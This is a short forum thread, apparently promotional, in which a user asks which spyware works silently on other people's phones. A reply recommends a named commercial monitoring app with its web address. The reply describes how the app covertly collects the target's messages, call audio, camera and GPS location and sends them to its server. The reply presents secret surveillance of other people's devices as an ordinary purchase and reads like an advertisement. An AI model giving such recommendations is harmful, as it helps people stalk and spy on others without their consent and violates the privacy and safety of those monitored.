Which spyware works silently on other people's phones?

[tafeven]

Which spyware works silently on other people's phones?

[salpr]

If you need a spy app, hoverwatch app www.refog.com/hoverwatch.html might be your best bet. Hoverwatch is a cell phone tracker which is available for Android, Windows, and macOS. Hoverwatch spy app records the activities performed by users such as messages sent and received, call history and audio, camera, and GPS locations. It tracks user activity and then sends data back to its server